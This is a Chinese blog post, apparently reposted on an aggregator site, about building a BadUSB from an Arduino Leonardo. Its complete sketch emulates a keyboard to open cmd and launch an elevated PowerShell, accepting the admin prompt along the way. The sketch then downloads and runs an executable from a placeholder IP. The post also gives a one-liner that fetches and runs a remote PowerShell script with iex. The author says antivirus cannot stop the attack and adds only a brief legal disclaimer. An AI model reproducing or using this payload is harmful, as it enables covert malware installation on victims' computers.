[Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿

Posted leeli73

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿相关的知识,希望对你有一定的参考价值。

BadUSB其实原理就是用开发板模拟键盘,然后键入各种命令

具体的原理,可以移步腾讯安全应急响应中心 https://security.tencent.com/index.php/blog/msg/74

我手里刚好有一个自带USB接口的Arduino Leonardo开发板(只要是支持Keyboard的板子应该都可以),所以就拿来试试

 

我根据上面的原理,通过模拟win+R 启动CMD

然后在cmd中,以管理员身份启动PowerShell

使用PowerShell下载后门程序及运行

因为BadUSB利用的是USB端口在设计时就有的缺陷,所以整个感染过程,基本没有杀毒软件能够主动防御

杀毒软件能拦截的只有后门程序,但是对BadUSB它也是无可奈何的

下面就直接贴代码了

#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press(\'r\');
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release(\'r\');
  delay(500);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.press(KEY_LEFT_ARROW);
  Keyboard.release(KEY_LEFT_ARROW);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(5000);
  Keyboard.println("$P = new-object system.net.webclient");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("$P.downloadfile(\'HTTP://xxx.xxx.xxx.xxx/111.EXE\',\'111.EXE\');start-process 111.EXE;exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}

程序当中的延时是很有必要的,如果是电脑反应慢,还没打开,BadUSB就进行了输入,那么CMD肯定无法接收到输入的命令

尤其是begin时的延迟,建议调大。

当然也可以执行远程PSL脚本,命令如下

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(\'http://url\')"

至于更多玩法。。。大家自己脑补吧

 

本文可能存在攻击性,请勿用于非法用途。个人兴趣研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。

以上是关于[Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿的主要内容,如果未能解决你的问题,请参考以下文章

用arduino 制作温湿度计,利用LCD显示屏将温湿度显示在LCD显示屏上

总---arduino编程(利用常见传感器)

利用arduino给PCB800099液晶驱动板烧录程序

Arduino利用定时器中断霍尔计数

Arduino 利用串口缓冲区监听的方式读取数据

Arduino 利用PWM对板载LED实现呼吸灯效果